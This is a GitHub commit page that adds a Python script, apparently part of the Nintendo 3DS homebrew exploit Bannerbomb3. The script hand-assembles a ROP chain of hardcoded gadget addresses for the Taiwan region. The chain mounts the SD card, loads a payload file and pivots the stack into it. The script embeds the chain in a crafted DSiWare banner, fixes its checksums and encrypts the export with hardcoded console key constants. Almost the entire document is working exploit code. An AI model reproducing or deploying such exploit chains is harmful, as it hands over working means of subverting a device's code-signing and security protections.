-
Notifications
You must be signed in to change notification settings - Fork 8
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
This region is a PITA, just sayin!
- Loading branch information
Showing
1 changed file
with
265 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,265 @@ | ||
# python3 | ||
from Cryptodome.Hash import CMAC | ||
from Cryptodome.Cipher import AES | ||
import os,sys,random,hashlib,struct | ||
from binascii import hexlify | ||
|
||
PAYLOAD=b"" | ||
offset=0 | ||
|
||
def w(n): | ||
global PAYLOAD,offset | ||
offset+=4 | ||
PAYLOAD += struct.pack("<I",n) | ||
|
||
def wchar16(s): | ||
global PAYLOAD,offset | ||
offset+=len(s)*2 | ||
PAYLOAD += s.encode("utf-16le") | ||
|
||
def w_insert(word, target): | ||
global PAYLOAD,ENTRY | ||
index=target-ENTRY | ||
PAYLOAD = PAYLOAD[:index] + struct.pack("<I",word) + PAYLOAD[index+4:] | ||
|
||
# payload rop ------------------------------------------------------------------------------------------------------------------------ | ||
# TWN -------------------------------------------------------------------------------------------------------------------------------- | ||
# Note that this payload is read from slot0 in the DSiWare banner, which is Japan's slot, strangely enough. | ||
|
||
DEST=0x006AA000 # + 80200 = 72A200 (overflow) | ||
FILE=DEST-0x1000 | ||
PAYSIZE=0x00040200 # the full 512 KB is too large for this region's BSS! | ||
GARBAGE=0xdeadbeef | ||
|
||
ENTRY=0x0ffffe28 | ||
POP_PC=0x001186a8 | ||
POP_R0PC=0x00143e88 | ||
POP_R0R3R7PC=0x00151ed8+1 #: pop {r0, r1, r2, r3, r7, pc} | ||
ROP_STRB_R4R0=0x002286ec | ||
STACK_PIVOT=0x001c5a24 #: ldmda r6!, {r1, r2, r3, r5, r6, r7, r8, sb, sl, ip, sp, lr, pc} | ||
SP_SP_ADD20_LDMFD_R4R7PC=0x00188D48 | ||
IFile_Read=0x001b3d6c + 4 | ||
FS_MountSdmc=0x0018f4f4 + 4 | ||
IFile_Open=0x001b8728 + 4 | ||
STR_YS=0x00272BE6 | ||
|
||
PAYLOAD_PATH=0x0 | ||
NULL_ADDR=0x0 | ||
|
||
offset=ENTRY | ||
|
||
#at no point should this rop string have a null! (two consecutive 00s, 2byte aligned) | ||
w(POP_R0PC) | ||
w( STR_YS) | ||
|
||
w(FS_MountSdmc) | ||
w( GARBAGE) | ||
w( 0xdeadbe00) # r4 | ||
w( GARBAGE) | ||
|
||
w(POP_R0PC) | ||
T1=offset | ||
w( GARBAGE) # ??? NULL_ADDR need to figure out | ||
|
||
w(ROP_STRB_R4R0) | ||
w( GARBAGE) | ||
|
||
w(POP_R0R3R7PC) | ||
w( FILE) | ||
T2=offset | ||
w( GARBAGE) # ??? PAYLOAD_PATH need to figure out | ||
w( 0x00010001) # high bit to continue string is ingnored luckily | ||
w( GARBAGE) | ||
w( GARBAGE) | ||
|
||
w(IFile_Open) | ||
w( GARBAGE) | ||
w( GARBAGE) | ||
w( GARBAGE) | ||
w( GARBAGE) | ||
w( GARBAGE) | ||
|
||
w(POP_R0R3R7PC) | ||
w( FILE) | ||
w( FILE+32) | ||
w( DEST) | ||
w( PAYSIZE) | ||
w( GARBAGE) | ||
|
||
w(IFile_Read) | ||
w( GARBAGE) | ||
w( GARBAGE) | ||
w( offset+0xC) #r6 - pivot address, see next comment | ||
w( DEST) | ||
w( POP_PC) | ||
w( POP_PC) | ||
|
||
#stack pivot address (held in r6), previous 3 words will be the pivot args, sp, lr, and pc. lr is poppc just in case | ||
w(STACK_PIVOT) | ||
|
||
#these two variables will be placed in their correct spots at the end of rop chain | ||
PAYLOAD_PATH=offset | ||
wchar16("YS:/bb3.bin!") | ||
NULL_ADDR=offset | ||
|
||
assert(offset & 3 == 0) # make sure offset is still aligned to 4 | ||
|
||
padsize=(0xec-(offset-ENTRY))//4 | ||
for i in range(padsize): | ||
w(GARBAGE) | ||
|
||
#actual exploit code, will pivot to the beginning ENTRY | ||
w(SP_SP_ADD20_LDMFD_R4R7PC) | ||
w(0x0FFFFEE8) | ||
w(0x0FFFFF18) | ||
w(0x0FFFFEE4) | ||
w(GARBAGE) | ||
|
||
w_insert(NULL_ADDR-2, T1) | ||
w_insert(PAYLOAD_PATH, T2) | ||
|
||
print("__PAYLOAD__ TWN") | ||
for i in range(0,len(PAYLOAD),16): | ||
out="%02X "*16 % struct.unpack("16B", PAYLOAD[i+0:i+16]) | ||
out2="%08X: " % (ENTRY+i) | ||
print(out2+out) | ||
print(padsize) | ||
|
||
# tadmuffin -------------------------------------------------------------------------------------------------------------------------- | ||
# ------------------------------------------------------------------------------------------------------------------------------------ | ||
|
||
tidlow=0xF00D43D5 | ||
|
||
keyx=0x6FBB01F872CAF9C01834EEC04065EE53 | ||
keyy=0x0 #get this from movable.sed - console unique | ||
F128=0xffffffffffffffffffffffffffffffff | ||
C =0x1FF9E9AAC5FE0408024591DC5D52768A | ||
cmac_keyx=0xB529221CDDB5DB5A1BF26EFF2041E875 | ||
|
||
tidstr="%08X" % tidlow | ||
assert(len(tidstr) == 8) | ||
DIR=tidstr+"/" | ||
tad_sections=[b""]*14 | ||
|
||
def get_keyy(n): | ||
global keyy | ||
if len(sys.argv) == 2: | ||
n=sys.argv[1] | ||
with open(n,"rb") as f: | ||
msedlen=len(f.read()) | ||
if(msedlen != 0x140 and msedlen != 0x120): | ||
print("Error: movable.sed is the wrong size - are you sure this is a movable.sed?") | ||
sys.exit(1) | ||
f.seek(0x110) | ||
temp=f.read(0x10) | ||
print("ID0: %08x%08x%08x%08x" % struct.unpack("<IIII", hashlib.sha256(temp).digest()[:16])) | ||
keyy=int(hexlify(temp), 16) | ||
|
||
def int16bytes(n): | ||
return struct.pack(">QQ",(n & 0xffffffffffffffff0000000000000000) >> 64, n & 0xffffffffffffffff) | ||
|
||
def add_128(a, b): | ||
return (a+b) & F128 | ||
|
||
def rol_128(n, shift): | ||
for i in range(shift): | ||
left_bit=(n & 1<<127)>>127 | ||
shift_result=n<<1 & F128 | ||
n=shift_result | left_bit | ||
return n | ||
|
||
def normalkey(x,y): #3ds aes engine - curtesy of rei's pastebin google doc, curtesy of plutoo from 32c3 | ||
n=rol_128(x,2) ^ y #F(KeyX, KeyY) = (((KeyX <<< 2) ^ KeyY) + 1FF9E9AAC5FE0408024591DC5D52768A) <<< 87 | ||
n=add_128(n,C) #https://pastebin.com/ucqXGq6E | ||
n=rol_128(n,87) #https://smealum.github.io/3ds/32c3/#/113 | ||
return n | ||
|
||
def encrypt(message, key, iv): | ||
cipher = AES.new(key, AES.MODE_CBC, iv ) | ||
return cipher.encrypt(message) | ||
|
||
def get_content_block(buff): | ||
global cmac_keyx | ||
hash=hashlib.sha256(buff).digest() | ||
key = int16bytes(normalkey(cmac_keyx, keyy)) | ||
cipher = CMAC.new(key, ciphermod=AES) | ||
result = cipher.update(hash) | ||
return result.digest() + b'\x00'*16 | ||
|
||
def rebuild_tad(): | ||
global keyy | ||
full_namelist=["banner.bin","header.bin"] | ||
section="" | ||
content_block="" | ||
key=normalkey(keyx,keyy) | ||
for i in range(len(full_namelist)): | ||
if(os.path.exists(DIR+full_namelist[i])): | ||
print("encrypting "+DIR+full_namelist[i]) | ||
with open(DIR+full_namelist[i],"rb") as f: | ||
section=f.read() | ||
content_block=get_content_block(section) | ||
tad_sections[i]=encrypt(section, int16bytes(key), content_block[0x10:])+content_block | ||
with open("%08X.bin" % tidlow,"wb") as f: | ||
out=b''.join(tad_sections) | ||
f.write(out+b"\x00"*0x500) #0x500 bytes are don't care padding for footer | ||
print("Rebuilt to %08X.bin" % tidlow) | ||
print("Done.") | ||
|
||
MODBUS=0xFFFF # STANDARD=0x0000 | ||
def fix_crc16(path, offset, size, crc_offset, type):# CRC-16-Modbus Algorithm | ||
with open(path,"rb+") as f: | ||
f.seek(offset) | ||
data=f.read(size) | ||
poly=0xA001 | ||
crc = type | ||
for b in data: | ||
cur_byte=b & 0xff | ||
for _ in range(0, 8): | ||
if (crc & 0x0001) ^ (cur_byte & 0x0001): | ||
crc = (crc >> 1) ^ poly | ||
else: | ||
crc >>= 1 | ||
cur_byte >>= 1 | ||
crc16=crc & 0xFFFF | ||
print("Patching crc_offset:%04X | msg_offset:%04X | msg_size:%04X..." % (crc_offset, offset, size)) | ||
f.seek(crc_offset) | ||
f.write(struct.pack("<H",crc16)) | ||
|
||
def inject_bin(dest, offset): #the payload is constructed from the rop chain at the top of this script | ||
with open(dest,"rb+") as f: | ||
f.seek(offset) | ||
f.write(PAYLOAD*8) | ||
|
||
print("|TADmuffin by zoogie|") | ||
print("|_______v1.0twn_____| Note: This is a simplified TADpole used only for Bannerbomb3") | ||
abspath = os.path.abspath(__file__) | ||
dname = os.path.dirname(abspath) | ||
os.chdir(dname) | ||
|
||
print("Using workdir: "+DIR) | ||
|
||
try: | ||
os.mkdir(tidstr) | ||
print("/%s created" % tidstr) | ||
except: | ||
print("/%s already exists" % tidstr) | ||
banner_bin=b"\x03\x01"+b"\x00"*(0x4000-2) | ||
header_bin=b"3DFT"+struct.pack(">I",4)+(b"\x42"*0x20)+(b"\x99"*0x10)+struct.pack("<Q",0x0004800500000000+tidlow)+(b"\x00"*0xB0) | ||
|
||
with open(DIR+"banner.bin","wb") as f: | ||
f.write(banner_bin) | ||
with open(DIR+"header.bin","wb") as f: | ||
f.write(header_bin) | ||
|
||
print("Injecting payload to banner...") | ||
inject_bin(DIR+"banner.bin",0x240) | ||
print("Fixing crc16s...") | ||
fix_crc16(DIR+"banner.bin", 0x20, 0x820, 0x2, MODBUS) | ||
fix_crc16(DIR+"banner.bin", 0x20, 0x920, 0x4, MODBUS) | ||
fix_crc16(DIR+"banner.bin", 0x20, 0xA20, 0x6, MODBUS) | ||
fix_crc16(DIR+"banner.bin", 0x1240, 0x1180, 0x8, MODBUS) | ||
|
||
print("Rebuilding export...") | ||
get_keyy("movable.sed") | ||
#sign_footer() #don't need this for bannerhax - exploit is triggered before footer ecdsa is verified | ||
rebuild_tad() |